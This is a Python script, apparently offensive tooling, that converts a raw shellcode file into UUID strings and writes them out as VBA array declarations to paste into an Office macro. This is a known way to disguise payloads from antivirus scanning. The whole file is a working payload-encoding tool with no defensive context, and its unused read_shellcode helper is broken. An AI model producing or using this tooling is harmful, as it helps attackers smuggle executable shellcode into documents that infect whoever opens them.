Generate a VBA list of GUIDS to copy-paste into a Macro

gen_loader.py

#!/usr/bin/env python3
import sys
import uuid


def read_shellcode(filename):
    shellcode = ""
    ctr = 1
    maxlen = 16
    for b in open(sys.argv[1], "rb").read():
        shellcode += "\\x{:02X}".format(b)
        if ctr == maxlen:
            shellcode += '" +\n"'
            ctr = 0
        ctr += 1


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(
            "usage: {} file.bin\n".format(
                sys.argv[0],
            )
        )
        sys.exit(0)

    dataIndex = 1
    fileIndex = 1
    uuids = ""
    with open(sys.argv[1], "rb") as shellcode:
        while True:
            chunk = shellcode.read(16)
            if chunk:
                chunk = chunk.ljust(16, b"\00")
                u = uuid.UUID(bytes_le=chunk[:16])
                uuids += 'Data({}) = "{{{}}}"\n'.format(dataIndex, str(u))
                dataIndex += 1
                if dataIndex > 5000:
                    # Flush buffer
                    with open("GUID_{}.txt".format(fileIndex), "w") as fuuid:
                        fuuid.write(
                            "Dim Data({}) As String\n{}".format(dataIndex - 1, uuids)
                        )
                    fileIndex += 1
                    uuids = ""
                    dataIndex = 1
            else:
                with open("GUID_{}.txt".format(fileIndex), "w") as fuuid:
                    fuuid.write(
                        "Dim Data({}) As String\n{}".format(dataIndex - 1, uuids)
                    )
                fileIndex += 1
                uuids = ""
                dataIndex = 1
                break